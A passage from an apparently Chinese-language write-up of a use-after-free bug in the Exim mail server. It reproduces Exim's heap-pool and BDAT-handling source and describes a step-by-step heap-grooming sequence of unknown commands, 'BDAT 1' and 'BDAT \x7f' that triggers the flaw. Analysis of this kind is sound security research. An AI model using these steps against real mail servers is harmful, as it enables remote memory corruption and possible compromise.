class="com">#endif</span><span class="pln"> </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newsize </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> newsize </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newsize </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> CS ptr </span><span class="pun">+</span><span class="pln"> newsize</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln">yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> newsize </span><span class="pun">-</span><span class="pln"> rounded_oldsize</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_UNDEFINED</span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">+</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> inc</span><span class="pun">);</span></code></li><li class="L2"><code><span class="kwd">return</span><span class="pln"> TRUE</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="kwd">void</span></code></li><li class="L7"><code><span class="pln">store_release_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">block</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pun">{</span></code></li><li class="L9"><code><span class="pln">storeblock </span><span class="pun">*</span><span class="pln">b</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* It will never be the first block, so no need to check that. */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">=</span><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span><span class="pln"> b </span><span class="pun">!=</span><span class="pln"> NULL</span><span class="pun">;</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln">bb </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">bb </span><span class="pun">!=</span><span class="pln"> NULL </span><span class="pun">&&</span><span class="pln"> CS block </span><span class="pun">==</span><span class="pln"> CS bb </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bb</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> pool_malloc </span><span class="pun">-=</span><span class="pln"> bb</span><span class="pun">-></span><span class="pln">length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers</span></code></li><li class="L2"><code><span class="com"> from giving warnings. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln"> </span><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L5"><code><span class="pln"> filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="com">#else</span></code></li><li class="L8"><code><span class="pln"> DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"-Release %d\n"</span><span class="pun">,</span><span class="pln"> pool_malloc</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L3"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"-Release %6p %-20s %4d %d\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">bb</span><span class="pun">,</span><span class="pln"> filename</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> linenumber</span><span class="pun">,</span><span class="pln"> pool_malloc</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> memset</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">,</span><span class="pln"> bb</span><span class="pun">-></span><span class="pln">length</span><span class="pun">+</span><span class="pln">ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="com">#endif</span><span class="pln"> </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code><span class="pun">}</span></code></li></ol>UAF漏洞所涉及的关键函数:
- store_get_3 堆分配
- store_extend_3 堆扩展
- store_release_3 堆释放
还有4个重要的全局变量:
- chainbase
- next_yield
- current_block
- yield_length
第一步
发送一堆未知的命令去调整
yield_length
的值,使其小于0x100。yield_length
表示的是堆还剩余的长度,每次命令的处理使用的是src/receive.c代码中的receive_msg
函数在该函数处理用户输入的命令时,使用
next->text
来储存用户输入,在1709行进行的初始化:1<ol class="linenums"><li class="L0"><code><span class="lit">1625</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> header_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="lit">1709</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li></ol>在执行1709行代码的时候,如果
0x100 > yield_length
则会执行到newblock = store_malloc(mlength);
,使用glibc的malloc申请一块内存,为了便于之后的描述,这块内存我们称为heap1。根据
store_get_3
中的代码,这个时候:- current_block->next = heap1 (因为之前current_block==chainbase,所以这相当于是chainbase->next = heap1)
- current_block = heap1
- yield_length = 0x2000
- next_yield = heap1+0x10
- return next_yield
- next_yield = next_yield+0x100 = heap1+0x110
- yield_length = yield_length - 0x100 = 0x1f00
第二步
发送
BDAT 1
,进入receive_msg
函数,并且让receive_getc
变为bdat_getc
第三步
发送
BDAT \x7f
相关代码在src/smtp_in.c中的
bdat_getc
函数:1<ol class="linenums"><li class="L0"><code><span class="kwd">int</span></code></li><li class="L1"><code><span class="pln">bdat_getc</span><span class="pun">(</span><span class="kwd">unsigned</span><span class="pln"> lim</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln"> user_msg </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln"> log_msg</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="kwd">for</span><span class="pun">(;;)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln"> BOOL dkim_save</span><span class="pun">;</span></code></li><li class="L0"><code><span class="com">#endif</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_data_left </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> lwr_receive_getc</span><span class="pun">(</span><span class="pln">chunking_data_left</span><span class="pun">--);</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> receive_getc </span><span class="pun">=</span><span class="pln"> lwr_receive_getc</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> receive_getbuf </span><span class="pun">=</span><span class="pln"> lwr_receive_getbuf</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> receive_ungetc </span><span class="pun">=</span><span class="pln"> lwr_receive_ungetc</span><span class="pun">;</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln"> dkim_save </span><span class="pun">=</span><span class="pln"> dkim_collect_input</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> dkim_collect_input </span><span class="pun">=</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L1"><code><span class="com">#endif</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* Unless PIPELINING was offered, there should be no next command</span></code></li><li class="L4"><code><span class="com"> until after we ack that chunk */</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">pipelining_advertised </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">check_sync</span><span class="pun">())</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">unsigned</span><span class="pln"> n </span><span class="pun">=</span><span class="pln"> smtp_inend </span><span class="pun">-</span><span class="pln"> smtp_inptr</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">n </span><span class="pun">></span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> n </span><span class="pun">=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> incomplete_transaction_log</span><span class="pun">(</span><span class="pln">US</span><span class="str">"sync failure"</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> log_write</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">|</span><span class="pln">LOG_REJECT</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP protocol synchronization error "</span></code></li><li class="L3"><code><span class="pln"> </span><span class="str">"(next input sent too soon: pipelining was not advertised): "</span></code></li><li class="L4"><code><span class="pln"> </span><span class="str">"rejected \"%s\" %s next input=\"%s\"%s"</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> smtp_cmd_buffer</span><span class="pun">,</span><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">),</span></code></li><li class="L6"><code><span class="pln"> string_printing</span><span class="pun">(</span><span class="pln">string_copyn</span><span class="pun">(</span><span class="pln">smtp_inptr</span><span class="pun">,</span><span class="pln"> n</span><span class="pun">)),</span></code></li><li class="L7"><code><span class="pln"> smtp_inend </span><span class="pun">-</span><span class="pln"> smtp_inptr </span><span class="pun">></span><span class="pln"> n </span><span class="pun">?</span><span class="pln"> </span><span class="str">"..."</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">""</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">554</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> US</span><span class="str">"SMTP synchronization error"</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* If not the last, ack the received chunk. The last response is delayed</span></code></li><li class="L4"><code><span class="com"> until after the data ACL decides on it */</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun">==</span><span class="pln"> CHUNKING_LAST</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln"> dkim_exim_verify_feed</span><span class="pun">(</span><span class="pln">NULL</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">);</span><span class="pln"> </span><span class="com">/* notify EOD */</span></code></li><li class="L0"><code><span class="com">#endif</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOD</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"250 %u byte chunk received\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> chunking_datasize</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln"> chunking_state </span><span class="pun">=</span><span class="pln"> CHUNKING_OFFERED</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> DEBUG</span><span class="pun">(</span><span class="pln">D_receive</span><span class="pun">)</span><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"chunking state %d\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln">chunking_state</span><span class="pun">);</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> </span><span class="com">/* Expect another BDAT cmd from input. RFC 3030 says nothing about</span></code></li><li class="L9"><code><span class="com"> QUIT, RSET or NOOP but handling them seems obvious */</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln">next_cmd</span><span class="pun">:</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> US</span><span class="str">"only BDAT permissible after non-LAST BDAT"</span><span class="pun">);</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> repeat_until_rset</span><span class="pun">:</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> QUIT_CMD</span><span class="pun">:</span><span class="pln"> smtp_quit_handler</span><span class="pun">(&</span><span class="pln">user_msg</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">log_msg</span><span class="pun">);</span><span class="pln"> </span><span class="com">/*FALLTHROUGH */</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> EOF_CMD</span><span class="pun">:</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> RSET_CMD</span><span class="pun">:</span><span class="pln"> smtp_rset_handler</span><span class="pun">();</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> US</span><span class="str">"only RSET accepted now"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> QUIT_CMD</span><span class="pun">:</span></code></li><li class="L1"><code><span class="pln"> smtp_quit_handler</span><span class="pun">(&</span><span class="pln">user_msg</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">log_msg</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="com">/*FALLTHROUGH*/</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> EOF_CMD</span><span class="pun">:</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> RSET_CMD</span><span class="pun">:</span></code></li><li class="L7"><code><span class="pln"> smtp_rset_handler</span><span class="pun">();</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> NOOP_CMD</span><span class="pun">:</span></code></li><li class="L1"><code><span class="pln"> HAD</span><span class="pun">(</span><span class="pln">SCH_NOOP</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"250 OK\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> next_cmd</span><span class="pun">;</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> BDAT_CMD</span><span class="pun">:</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> n</span><span class="pun">;</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">501</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> US</span><span class="str">"missing size for BDAT command"</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code><span class="pln"> chunking_state </span><span class="pun">=</span><span class="pln"> strcmpic</span><span class="pun">(</span><span class="pln">smtp_cmd_data</span><span class="pun">+</span><span class="pln">n</span><span class="pun">,</span><span class="pln"> US</span><span class="str">"LAST"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">?</span><span class="pln"> CHUNKING_LAST </span><span class="pun">:</span><span class="pln"> CHUNKING_ACTIVE</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> chunking_data_left </span><span class="pun">=</span><span class="pln"> chunking_datasize</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> DEBUG</span><span class="pun">(</span><span class="pln">D_receive</span><span class="pun">)</span><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"chunking state %d, %d bytes\n"</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln">chunking_state</span><span class="pun">,</span><span class="pln"> chunking_data_left</span><span class="pun">);</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_datasize </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun">==</span><span class="pln"> CHUNKING_LAST</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOD</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">504</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> US</span><span class="str">"zero size for BDAT command"</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> receive_getc </span><span class="pun">=</span><span class="pln"> bdat_getc</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> receive_getbuf </span><span class="pun">=</span><span class="pln"> bdat_getbuf</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> receive_ungetc </span><span class="pun">=</span><span class="pln"> bdat_ungetc</span><span class="pun">;</span></code></li><li class="L4"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L5"><code><span class="pln"> dkim_collect_input </span><span class="pun">=</span><span class="pln"> dkim_save</span><span class="pun">;</span></code></li><li class="L6"><code><span class="com">#endif</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* to top of main loop */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L1"><code><span class="pun">}</span></code></li></ol>BDAT命令进入下面这个分支:
1<ol class="linenums"><li class="L0"><code><span class="pln">f </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">501</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> US</span><span class="str">"missing size for BDAT command"</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol>因为
\x7F
所以sscanf获取长度失败,进入synprot_error
函数,该函数同样是位于smtp_in.c
文件中:1<ol class="linenums"><li class="L0"><code><span class="kwd">static</span><span class="pln"> </span><span class="kwd">int</span></code></li><li class="L1"><code><span class="pln">synprot_error</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> type</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> code</span><span class="pun">,</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">data</span><span class="pun">,</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">errmess</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="kwd">int</span><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">-</span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln">log_write</span><span class="pun">(</span><span class="pln">type</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP %s error in \"%s\" %s %s"</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">(</span><span class="pln">type </span><span class="pun">==</span><span class="pln"> L_smtp_syntax_error</span><span class="pun">)?</span><span class="pln"> </span><span class="str">"syntax"</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">"protocol"</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> string_printing</span><span class="pun">(</span><span class="pln">smtp_cmd_buffer</span><span class="pun">),</span><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">),</span><span class="pln"> errmess</span><span class="pun">);</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(++</span><span class="pln">synprot_error_count </span><span class="pun">></span><span class="pln"> smtp_max_synprot_errors</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> log_write</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">|</span><span class="pln">LOG_REJECT</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP call from %s dropped: too many "</span></code></li><li class="L3"><code><span class="pln"> </span><span class="str">"syntax or protocol errors (last command was \"%s\")"</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">FALSE</span><span class="pun">),</span><span class="pln"> string_printing</span><span class="pun">(</span><span class="pln">smtp_cmd_buffer</span><span class="pun">));</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">code </span><span class="pun">></span><span 